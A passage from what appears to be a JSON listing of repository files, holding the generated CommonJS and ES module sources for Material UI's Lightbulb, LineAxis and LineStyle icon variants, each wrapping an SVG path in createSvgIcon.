  },
  {
    "path": "packages/mui-icons-material/lib/LightbulbOutlineRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 21c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1H9zm3-19C8.14 2 5 5.14 5 9c0 2.38 1.19 4.47 3 5.74V17c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-2.26c1.81-1.27 3-3.36 3-5.74 0-3.86-3.14-7-7-7m2.85 11.1-.85.6V16h-4v-2.3l-.85-.6C7.8 12.16 7 10.63 7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.63-.8 3.16-2.15 4.1\"\n}), 'LightbulbOutlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightbulbOutlineSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 22h6v-2H9zm1.54-19.85c-2.75.56-4.94 2.81-5.43 5.58-.51 2.89.76 5.52 2.89 7.01V18h8v-3.26c1.81-1.27 3-3.36 3-5.74 0-4.34-3.97-7.77-8.46-6.85m4.31 10.95-.85.6V16h-4v-2.3l-.85-.6C7.8 12.16 7 10.63 7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.63-.8 3.16-2.15 4.1\"\n}), 'LightbulbOutlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightbulbOutlineSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 22h6v-2H9zm1.54-19.85c-2.75.56-4.94 2.81-5.43 5.58-.51 2.89.76 5.52 2.89 7.01V18h8v-3.26c1.81-1.27 3-3.36 3-5.74 0-4.34-3.97-7.77-8.46-6.85m4.31 10.95-.85.6V16h-4v-2.3l-.85-.6C7.8 12.16 7 10.63 7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.63-.8 3.16-2.15 4.1\"\n}), 'LightbulbOutlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightbulbOutlineTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 21c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1H9zm3-19C8.14 2 5 5.14 5 9c0 2.38 1.19 4.47 3 5.74V17c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-2.26c1.81-1.27 3-3.36 3-5.74 0-3.86-3.14-7-7-7m2.85 11.1-.85.6V16h-4v-2.3l-.85-.6C7.8 12.16 7 10.63 7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.63-.8 3.16-2.15 4.1\"\n}), 'LightbulbOutlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightbulbOutlineTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 21c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1H9zm3-19C8.14 2 5 5.14 5 9c0 2.38 1.19 4.47 3 5.74V17c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-2.26c1.81-1.27 3-3.36 3-5.74 0-3.86-3.14-7-7-7m2.85 11.1-.85.6V16h-4v-2.3l-.85-.6C7.8 12.16 7 10.63 7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.63-.8 3.16-2.15 4.1\"\n}), 'LightbulbOutlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightbulbOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 21c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1H9zm3-19C8.14 2 5 5.14 5 9c0 2.38 1.19 4.47 3 5.74V17c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-2.26c1.81-1.27 3-3.36 3-5.74 0-3.86-3.14-7-7-7m2.85 11.1-.85.6V16h-4v-2.3l-.85-.6C7.8 12.16 7 10.63 7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.63-.8 3.16-2.15 4.1\"\n}), 'LightbulbOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightbulbOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 21c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1H9zm3-19C8.14 2 5 5.14 5 9c0 2.38 1.19 4.47 3 5.74V17c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-2.26c1.81-1.27 3-3.36 3-5.74 0-3.86-3.14-7-7-7m2.85 11.1-.85.6V16h-4v-2.3l-.85-.6C7.8 12.16 7 10.63 7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.63-.8 3.16-2.15 4.1\"\n}), 'LightbulbOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightbulbRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2m-3-3h6c.55 0 1-.45 1-1s-.45-1-1-1H9c-.55 0-1 .45-1 1s.45 1 1 1m3-17C7.86 2 4.5 5.36 4.5 9.5c0 3.82 2.66 5.86 3.77 6.5h7.46c1.11-.64 3.77-2.68 3.77-6.5C19.5 5.36 16.14 2 12 2\"\n}), 'LightbulbRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightbulbRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2m-3-3h6c.55 0 1-.45 1-1s-.45-1-1-1H9c-.55 0-1 .45-1 1s.45 1 1 1m3-17C7.86 2 4.5 5.36 4.5 9.5c0 3.82 2.66 5.86 3.77 6.5h7.46c1.11-.64 3.77-2.68 3.77-6.5C19.5 5.36 16.14 2 12 2\"\n}), 'LightbulbRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightbulbSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2m-4-5h8v2H8zm4-15C7.86 2 4.5 5.36 4.5 9.5c0 3.82 2.66 5.86 3.77 6.5h7.46c1.11-.64 3.77-2.68 3.77-6.5C19.5 5.36 16.14 2 12 2\"\n}), 'LightbulbSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightbulbSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2m-4-5h8v2H8zm4-15C7.86 2 4.5 5.36 4.5 9.5c0 3.82 2.66 5.86 3.77 6.5h7.46c1.11-.64 3.77-2.68 3.77-6.5C19.5 5.36 16.14 2 12 2\"\n}), 'LightbulbSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightbulbTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4C8.97 4 6.5 6.47 6.5 9.5c0 2.47 1.49 3.89 2.35 4.5h6.3c.86-.61 2.35-2.03 2.35-4.5C17.5 6.47 15.03 4 12 4\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2m-4-5h8v2H8zm4-15C7.86 2 4.5 5.36 4.5 9.5c0 3.82 2.66 5.86 3.77 6.5h7.46c1.11-.64 3.77-2.68 3.77-6.5C19.5 5.36 16.14 2 12 2m3.15 12h-6.3c-.86-.61-2.35-2.03-2.35-4.5C6.5 6.47 8.97 4 12 4s5.5 2.47 5.5 5.5c0 2.47-1.49 3.89-2.35 4.5\"\n}, \"1\")], 'LightbulbTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightbulbTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4C8.97 4 6.5 6.47 6.5 9.5c0 2.47 1.49 3.89 2.35 4.5h6.3c.86-.61 2.35-2.03 2.35-4.5C17.5 6.47 15.03 4 12 4\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2m-4-5h8v2H8zm4-15C7.86 2 4.5 5.36 4.5 9.5c0 3.82 2.66 5.86 3.77 6.5h7.46c1.11-.64 3.77-2.68 3.77-6.5C19.5 5.36 16.14 2 12 2m3.15 12h-6.3c-.86-.61-2.35-2.03-2.35-4.5C6.5 6.47 8.97 4 12 4s5.5 2.47 5.5 5.5c0 2.47-1.49 3.89-2.35 4.5\"\n}, \"1\")], 'LightbulbTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LineAxis.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 7.43-1.41-1.41-4.03 4.53L9.5 4 2 11.51l1.5 1.5 6.14-6.15 5.59 5.18-1.73 1.95-4-4L2 17.5 3.5 19l6-6.01 4 4 3.19-3.59 3.9 3.61L22 15.6l-3.98-3.7z\"\n}), 'LineAxis');"
  },
  {
    "path": "packages/mui-icons-material/lib/LineAxis.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 7.43-1.41-1.41-4.03 4.53L9.5 4 2 11.51l1.5 1.5 6.14-6.15 5.59 5.18-1.73 1.95-4-4L2 17.5 3.5 19l6-6.01 4 4 3.19-3.59 3.9 3.61L22 15.6l-3.98-3.7z\"\n}), 'LineAxis');"
  },
  {
    "path": "packages/mui-icons-material/lib/LineAxisOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 7.43-1.41-1.41-4.03 4.53L9.5 4 2 11.51l1.5 1.5 6.14-6.15 5.59 5.18-1.73 1.95-4-4L2 17.5 3.5 19l6-6.01 4 4 3.19-3.59 3.9 3.61L22 15.6l-3.98-3.7z\"\n}), 'LineAxisOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LineAxisOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 7.43-1.41-1.41-4.03 4.53L9.5 4 2 11.51l1.5 1.5 6.14-6.15 5.59 5.18-1.73 1.95-4-4L2 17.5 3.5 19l6-6.01 4 4 3.19-3.59 3.9 3.61L22 15.6l-3.98-3.7z\"\n}), 'LineAxisOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LineAxisRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.34 6.77c-.4-.4-1.07-.39-1.45.04l-3.33 3.74-5.65-5.24c-.79-.73-2.01-.71-2.77.05L2.7 10.81c-.39.39-.39 1.02 0 1.41l.09.09c.39.39 1.02.39 1.41 0l5.44-5.45 5.59 5.19L13.5 14l-2.58-2.58c-.78-.78-2.05-.78-2.83 0L2.7 16.8c-.39.39-.39 1.02 0 1.41l.1.09c.39.39 1.02.39 1.41 0l5.3-5.3 2.5 2.5c.81.81 2.14.77 2.91-.09l1.78-2.01 3.19 2.96c.39.36 1 .35 1.38-.03l.01-.01c.4-.4.39-1.05-.03-1.43l-3.22-2.99 3.35-3.77c.35-.39.33-.99-.04-1.36\"\n}), 'LineAxisRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LineAxisRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.34 6.77c-.4-.4-1.07-.39-1.45.04l-3.33 3.74-5.65-5.24c-.79-.73-2.01-.71-2.77.05L2.7 10.81c-.39.39-.39 1.02 0 1.41l.09.09c.39.39 1.02.39 1.41 0l5.44-5.45 5.59 5.19L13.5 14l-2.58-2.58c-.78-.78-2.05-.78-2.83 0L2.7 16.8c-.39.39-.39 1.02 0 1.41l.1.09c.39.39 1.02.39 1.41 0l5.3-5.3 2.5 2.5c.81.81 2.14.77 2.91-.09l1.78-2.01 3.19 2.96c.39.36 1 .35 1.38-.03l.01-.01c.4-.4.39-1.05-.03-1.43l-3.22-2.99 3.35-3.77c.35-.39.33-.99-.04-1.36\"\n}), 'LineAxisRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LineAxisSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 7.43-1.41-1.41-4.03 4.53L9.5 4 2 11.51l1.5 1.5 6.14-6.15 5.59 5.18-1.73 1.95-4-4L2 17.5 3.5 19l6-6.01 4 4 3.19-3.59 3.9 3.61L22 15.6l-3.98-3.7z\"\n}), 'LineAxisSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LineAxisSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 7.43-1.41-1.41-4.03 4.53L9.5 4 2 11.51l1.5 1.5 6.14-6.15 5.59 5.18-1.73 1.95-4-4L2 17.5 3.5 19l6-6.01 4 4 3.19-3.59 3.9 3.61L22 15.6l-3.98-3.7z\"\n}), 'LineAxisSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LineAxisTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 7.43-1.41-1.41-4.03 4.53L9.5 4 2 11.51l1.5 1.5 6.14-6.15 5.59 5.18-1.73 1.95-4-4L2 17.5 3.5 19l6-6.01 4 4 3.19-3.59 3.9 3.61L22 15.6l-3.98-3.7z\"\n}), 'LineAxisTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LineAxisTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 7.43-1.41-1.41-4.03 4.53L9.5 4 2 11.51l1.5 1.5 6.14-6.15 5.59 5.18-1.73 1.95-4-4L2 17.5 3.5 19l6-6.01 4 4 3.19-3.59 3.9 3.61L22 15.6l-3.98-3.7z\"\n}), 'LineAxisTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LineStyle.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 16h5v-2H3zm6.5 0h5v-2h-5zm6.5 0h5v-2h-5zM3 20h2v-2H3zm4 0h2v-2H7zm4 0h2v-2h-2zm4 0h2v-2h-2zm4 0h2v-2h-2zM3 12h8v-2H3zm10 0h8v-2h-8zM3 4v4h18V4z\"\n}), 'LineStyle');"
  },
  {
    "path": "packages/mui-icons-material/lib/LineStyle.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 16h5v-2H3zm6.5 0h5v-2h-5zm6.5 0h5v-2h-5zM3 20h2v-2H3zm4 0h2v-2H7zm4 0h2v-2h-2zm4 0h2v-2h-2zm4 0h2v-2h-2zM3 12h8v-2H3zm10 0h8v-2h-8zM3 4v4h18V4z\"\n}), 'LineStyle');"
  },
  {
    "path": "packages/mui-icons-material/lib/LineStyleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 16h5v-2H3zm6.5 0h5v-2h-5zm6.5 0h5v-2h-5zM3 20h2v-2H3zm4 0h2v-2H7zm4 0h2v-2h-2zm4 0h2v-2h-2zm4 0h2v-2h-2zM3 12h8v-2H3zm10 0h8v-2h-8zM3 4v4h18V4z\"\n}), 'LineStyleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LineStyleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 16h5v-2H3zm6.5 0h5v-2h-5zm6.5 0h5v-2h-5zM3 20h2v-2H3zm4 0h2v-2H7zm4 0h2v-2h-2zm4 0h2v-2h-2zm4 0h2v-2h-2zM3 12h8v-2H3zm10 0h8v-2h-8zM3 4v4h18V4z\"\n}), 'LineStyleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LineStyleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 16h3c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m6.5 0h3c.55 0 1-.45 1-1s-.45-1-1-1h-3c-.55 0-1 .45-1 1s.45 1 1 1m6.5 0h3c.55 0 1-.45 1-1s-.45-1-1-1h-3c-.55 0-1 .45-1 1s.45 1 1 1M4 20c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m4 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m4 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m4 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m4 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1M4 12h6c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m10 0h6c.55 0 1-.45 1-1s-.45-1-1-1h-6c-.55 0-1 .45-1 1s.45 1 1 1M3 5v2c0 .55.45 1 1 1h16c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1\"\n}), 'LineStyleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LineStyleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 16h3c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m6.5 0h3c.55 0 1-.45 1-1s-.45-1-1-1h-3c-.55 0-1 .45-1 1s.45 1 1 1m6.5 0h3c.55 0 1-.45 1-1s-.45-1-1-1h-3c-.55 0-1 .45-1 1s.45 1 1 1M4 20c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m4 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m4 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m4 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m4 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1M4 12h6c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m10 0h6c.55 0 1-.45 1-1s-.45-1-1-1h-6c-.55 0-1 .45-1 1s.45 1 1 1M3 5v2c0 .55.45 1 1 1h16c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1\"\n}), 'LineStyleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LineStyleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 16h5v-2H3zm6.5 0h5v-2h-5zm6.5 0h5v-2h-5zM3 20h2v-2H3zm4 0h2v-2H7zm4 0h2v-2h-2zm4 0h2v-2h-2zm4 0h2v-2h-2zM3 12h8v-2H3zm10 0h8v-2h-8zM3 4v4h18V4z\"\n}), 'LineStyleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LineStyleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 16h5v-2H3zm6.5 0h5v-2h-5zm6.5 0h5v-2h-5zM3 20h2v-2H3zm4 0h2v-2H7zm4 0h2v-2h-2zm4 0h2v-2h-2zm4 0h2v-2h-2zM3 12h8v-2H3zm10 0h8v-2h-8zM3 4v4h18V4z\"\n}), 'LineStyleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LineStyleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 16h5v-2H3zm6.5 0h5v-2h-5zm6.5 0h5v-2h-5zM3 20h2v-2H3zm4 0h2v-2H7zm4 0h2v-2h-2zm4 0h2v-2h-2zm4 0h2v-2h-2zM3 12h8v-2H3zm10 0h8v-2h-8zM3 4v4h18V4z\"\n}), 'LineStyleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LineStyleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 16h5v-2H3zm6.5 0h5v-2h-5zm6.5 0h5v-2h-5zM3 20h2v-2H3zm4 0h2v-2H7zm4 0h2v-2h-2zm4 0h2v-2h-2zm4 0h2v-2h-2zM3 12h8v-2H3zm10 0h8v-2h-8zM3 4v4h18V4z\"\n}), 'LineStyleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LineWeight.js",
